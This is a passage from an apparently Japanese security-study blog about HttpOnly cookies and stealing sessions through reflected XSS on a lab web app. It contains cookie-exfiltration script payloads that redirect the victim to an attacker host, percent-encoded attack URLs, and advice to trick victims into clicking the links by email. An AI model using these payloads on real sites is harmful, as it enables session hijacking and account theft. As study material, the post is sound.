 すると今度は、Cookieが表示されません(下図)。HttpOnly属性が有効に機能したことで、JavaScriptからcookieへのアクセスを禁止することができました。

2.XSSなどを使ってセッションを盗む

(1)ソースコード

先の1と同じ。ただし、HttpOnly属性はFalseのまま。

(2)攻撃の実行

入力フォームに以下を入れてみよう。ただし、http://203.0.113.101/index.htmlの部分は、攻撃者のWebサーバとする。

<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>

するとどうなるか。window.locationによって、http://203.0.113.101/index.htmlのページに遷移する。そのとき、引数としてcookieの値を付与する。
これが実行されるのは、ターゲットとなる被害者のPC上。被害者にとっては、変なページに遷移したな、くらいに思うだけ。
しかし、攻撃者のWebサーバのログには、Cookie情報も残っている。つまり、Cookie情報を盗むことができる。サーバ側でログを見張っておき、Cookieのセッションを奪ってログインすることも可能であろう。

(3)どうやって被害者に上記をさせるか

リンクをクリックさせる。
単純だが、以下のサイトにおいて、?description=として、引数を付与するだけ。
http://x.x.x.x/submitdescription.php
なので、以下になる。

http://x.x.x.x/submitdescription.php?description=<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>

これをパーセントエンコーディングする。すると、こんな感じ。

http://x.x.x.x/submitdescription.php?description=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.101%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E

ただし、このままリンクをクリックさせても、セッションIDを持っていないからログには残らない。
まず、http://54.87.164.130/description.php にアクセスさせて、セッションIDを端末に保持させる。そして、↑のリンクをクリックさせる。
すると、こんな感じで、攻撃者のWebサーバのログに、セッション情報が残る。


##以下は古い記事で、うまくいっていない。
具体的には、以下に記載しているように、URLのリンクを作成する。(脆弱性はあるけど)信頼性の高いページからのリンクであれば、クリックしてしまう可能性はあるだろう。
https://sc.seeeko.com/entry/cross_site_attack
上記にも書いたが、余分なことを消すために、いったん”>で閉じて、後半はコメントアウトしている。

"><script>window.location='http://203.0.113.111/index.html?'+document.cookie;</script><!--

これをパーセントエンコーディングすると以下

%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

ここで、URLの引数に上記を付ける。このリンクをメールなどで送り付け、間違ってクリックさせることができれば、Cookieを盗むことができる。

http://x.x.x.x/submitdescription.php?description=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

※ページ遷移はうまくいくのだが、Webサーバにログが残らなかった。何かやり方が悪かったのかもしれない。